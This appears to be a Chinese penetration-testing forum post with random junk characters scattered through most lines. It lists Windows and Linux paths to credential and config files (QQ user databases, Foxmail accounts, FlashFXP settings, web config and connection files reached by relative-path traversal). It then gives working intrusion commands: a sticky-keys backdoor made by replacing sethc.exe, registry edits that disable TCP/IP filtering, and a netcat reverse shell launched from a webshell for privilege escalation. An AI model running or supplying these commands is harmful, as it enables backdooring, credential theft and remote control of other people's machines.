C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
! u9 ?3 k+ _$ b& O6 y1 L, x) R4 [c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
3 N4 I/ l  [$ K! o+ E& Wc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
- }  C+ E; c9 O1 u, x+ pC:\Program Files\Apache Group\Apache2\bin\Apache.exe
, F# W. o5 x, S& S+ m0 v/usr/local/tomcat5527/bin/version.sh
# Z# f9 ~# [$ E0 o/usr/share/tomcat6/bin/startup.sh
* y* L2 n: Z5 h& U" t/usr/tomcat6/bin/startup.sh
  w* x# U5 Z5 `1 x& c' w4 c% Wc:\Program Files\QQ2007\qq.exe
* a' p+ c& t, ?0 r1 K; Lc:\Program Files\Tencent\qq\User.db
- x) F" Y4 M2 N+ k/ uc:\Program Files\Tencent\qq\qq.exe
$ F  ~( L. M) N; Z, g' j" i& Fc:\Program Files\Tencent\qq\bin\qq.exe
8 ^, h  s/ }$ h0 n+ P$ a, j8 K4 n: ]c:\Program Files\Tencent\qq2009\qq.exe
7 m# @4 K6 H  M6 l# v0 R: fc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
  @/ E$ N- n$ Q/ l8 Fc:\Program Files\Tencent\qq\Users\All Users\Registry.db
+ u  j# x9 D* H# WC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
# j. b  q8 X" b' y1 t. g; I8 ^c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
/ {/ r9 j* O/ v1 ?c:\Program Files\Tencent\RTXServer\AppConfig.xml
- q/ z) j' w$ qC:\Program Files\Foxmal\Foxmail.exe
9 x. h- N* H9 X/ m) G; \( [C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
) P# L4 u( p* e+ m* K& L. dc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
# ~9 ?7 O# }2 ^+ w9 ]- \c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
4 M) y8 R* ]1 v. _# T" V# O7 G- i: \" sC:\Program Files\FlashFXP\flashfxp.exe
6 L5 H2 @9 l3 {, }$ u7 ^* ?1 Yc:\Program Files\Oracle\bin\regsvr32.exe
$ P) t' h4 n. Q9 O$ Yc:\Program Files\腾讯游戏\QQGAME\readme.txt
; Q) u1 y9 m- Y# Fc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
) \& q0 a3 l/ b% }6 T( |4 fc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
" K$ A- F4 T2 A& L
/ l  c5 o  n- J0 L  S3.网站相对路径:

$ v0 N" `1 A' v/config.php
) i4 ^( g$ O- b9 t2 s2 d5 I../../config.php
2 N6 P  C( F2 \1 ?9 v6 |. o3 }../config.php
6 q, u: Q& B+ j5 b$ G../../../config.php
/config.inc.php
./config.inc.php
+ M- T8 i! t# X& Q- e. k( S: z../../config.inc.php
0 [6 D+ G5 q' g; W4 `2 B$ K../config.inc.php
../../../config.inc.php
/conn.php
! v- L/ ?& s; Y3 ?./conn.php
9 x: N- N; g- r$ r9 E( |9 A../../conn.php
../conn.php
) \* m. h" G' B! w/ f) O6 o( J../../../conn.php
/conn.asp
. L1 D/ E3 V: ]./conn.asp
% y$ @% r: S$ k1 R5 k  e../../conn.asp
  y0 D: l( D" b; P8 b0 x../conn.asp
../../../conn.asp
9 E" F6 ]! J/ o8 l9 ~/ B/config.inc.php
./config.inc.php
8 D! q5 f1 d% q8 A5 t) m0 V../../config.inc.php
../config.inc.php
2 s- V% j% R  |5 ?- _../../../config.inc.php
/config/config.php
../../config/config.php
( O3 m! g* A5 V! H1 J8 z1 A2 Y& U../config/config.php
$ p, x1 T/ F' O, J, [5 X# l../../../config/config.php
/config/config.inc.php
./config/config.inc.php
( S+ [8 S& h, Q/ v../../config/config.inc.php
0 {( T) `5 T$ c% g0 C) b3 T, [+ e../config/config.inc.php
../../../config/config.inc.php
0 C4 J2 E; q5 y% q- Y/config/conn.php
2 D, w1 v8 }1 W% i% U2 p- N, f! L./config/conn.php
; f0 [/ w; P& g5 u0 T7 d; y../../config/conn.php
$ U% L. w; W& P7 ~7 o5 g+ l9 y# o../config/conn.php
2 R' K( D! g. q0 h) ~) {../../../config/conn.php
4 s8 Y9 p3 B+ C& [8 [/config/conn.asp
./config/conn.asp
../../config/conn.asp
& ^1 O8 s; b. b- R/ y2 F% @../config/conn.asp
. A* G0 M- Z2 h* y+ Q  v/ D( R../../../config/conn.asp
( B7 b6 c5 L5 @7 h/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
: t; c" n" E& b+ `2 ~. A' f  G/ o4 a+ n../../../config/config.inc.php
/data/config.php
- r4 T) @/ Q" _; r0 T& m4 k../../data/config.php
../data/config.php
../../../data/config.php
/data/config.inc.php
1 U# }! c0 Z9 o) Q, s./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
$ @9 ^5 X& _% P0 v' e+ u./data/conn.php
9 c; q/ |9 h! s6 v5 M3 [. X../../data/conn.php
../data/conn.php
../../../data/conn.php
/data/conn.asp
- K0 \& e5 A) E. o# @8 l./data/conn.asp
& y4 R0 Y: J: D../../data/conn.asp
& K0 Q$ l6 d) p. z/ a../data/conn.asp
../../../data/conn.asp
' d8 c) B) h# d) S. I/data/config.inc.php
5 M3 F% w+ _7 x, {5 `! Q6 p+ k./data/config.inc.php
! V$ v) p% S3 ?& ^, b6 |6 ]- b../../data/config.inc.php
../data/config.inc.php
! N4 r/ n4 `7 y, Y../../../data/config.inc.php
/include/config.php
../../include/config.php
../include/config.php
../../../include/config.php
0 g4 |$ ~+ R" N' h/include/config.inc.php
( U/ a( @# u0 O8 C1 a, [./include/config.inc.php
# Y+ t& Y2 A' V1 r2 c6 n- c" ^../../include/config.inc.php
../include/config.inc.php
1 ~3 }! h( H2 a../../../include/config.inc.php
. z/ {& v. i8 f1 \8 N- c: e1 C( ]9 B/include/conn.php
; ]  ?# }  I! [) i' N" i# j: ~./include/conn.php
../../include/conn.php
0 V$ f6 d& l/ J, y& T../include/conn.php
  c+ V, [) k8 n! x1 r  L../../../include/conn.php
  R, T; I8 k; D* E. y+ q5 V2 k/include/conn.asp
./include/conn.asp
../../include/conn.asp
( O' l8 U6 e% U* _8 K../include/conn.asp
: x8 [0 m* d4 w% |1 v+ f! r../../../include/conn.asp
/include/config.inc.php
5 ]& \6 M" ^2 [; a! l  w./include/config.inc.php
# ]$ ~2 o, M& |../../include/config.inc.php
../include/config.inc.php
3 e9 m5 S& k7 m% F../../../include/config.inc.php
& k; v) I4 d" l- J/inc/config.php
4 ^1 h( X8 H' z6 J  [. h../../inc/config.php
/ h/ m" }! a; ]1 R. y../inc/config.php
! `$ g0 \6 ^* E* j2 w8 ~../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
* F6 |4 L5 O9 {3 Y) C% t../inc/config.inc.php
# T$ h/ @$ }' k3 G) G6 A+ [! y( n../../../inc/config.inc.php
  J- T$ _. _( ^! g3 H8 D  A+ v  S/inc/conn.php
  u! E! a5 w6 t./inc/conn.php
../../inc/conn.php
9 ]2 u; @8 T/ U2 X../inc/conn.php
../../../inc/conn.php
- s8 O# {& L6 k2 U; K4 c/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
& x$ @* g. ]7 Z2 @& z2 r! y../inc/conn.asp
2 x2 o! C4 E- t../../../inc/conn.asp
1 r7 w! d, I6 @/ H0 T& x; ]/inc/config.inc.php
./inc/config.inc.php
! B9 Q2 j# |8 y" X* s  A! p0 P../../inc/config.inc.php
3 ?( w# q; {$ l5 j../inc/config.inc.php
- i3 H+ K0 e- G5 a' N../../../inc/config.inc.php
% F8 O4 |& V# f* B' v' F/index.php
./index.php
../../index.php
7 h4 T6 {( G5 B5 K$ b' Z+ x../index.php
3 P. n. I: L" Z; f../../../index.php
- k! c  M; r; \$ B+ J# ?4 U4 L! O, B/index.asp
3 d* z& i" S/ b; V" a2 W./index.asp
6 ?' ~! V- K: V% V/ S../../index.asp
# F5 n+ m/ [. |7 p: Y( C& G+ Q- C../index.asp
3 x8 j- m3 v/ H# F% e* c  |2 Q../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s

: F/ ]- P; J% G+ U! ?4 L　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
+ S' B& d+ r3 Y8 p. W0 s# d
9 B1 _5 f% D8 ?& l7 y　　del c:\windows\system32\sethc.exe

+ i! G9 a9 W2 Y" V1 y　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
! D. _% Z! }5 y! Y- [+ b# Q
9 d& u, H5 r* j! p$ p　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
# R2 m6 P3 j$ a: e( W
　　attrib c:\windows\system32\sethc.exe +h +r +s

4 u7 K, \" W- F8 J　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
$ K7 w1 b! ^. KHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
/ r1 X7 V" |$ E. V; }- bHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
* `! m, |3 @! H. p2 oHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
$ d4 t0 c# L( u4 H, a3 o' l5 p0 I
分别用
9 ^# @9 W) f# D/ V2 {* Vregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
. B5 R2 b0 o6 T% D& U+ ]5 h! ?regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
2 I. f( K7 U$ b. [
再将以上三个文件分别用
regedit -s D:\a.reg
- w% v- F0 ^1 g; C( m  U+ Sregedit -s D:\b.reg
regedit -s D:\c.reg
  \  k8 H' V# u9 z  x7 u: @& r  H导入注册表即可

webshell提权小技巧
cmd路径:
! I( ?: `& V, H! Kc:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
3 ^  Q7 i) O& v% r4 u4 C"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
& V9 y- f3 }  n8 O- ]0 ?1 e4 t通常都不会成功。
1 A% V% F$ {5 j3 S, I
/ ^9 @) f+ f2 G6 B. K而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
% \: k  o- g" z' |; a0 f这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2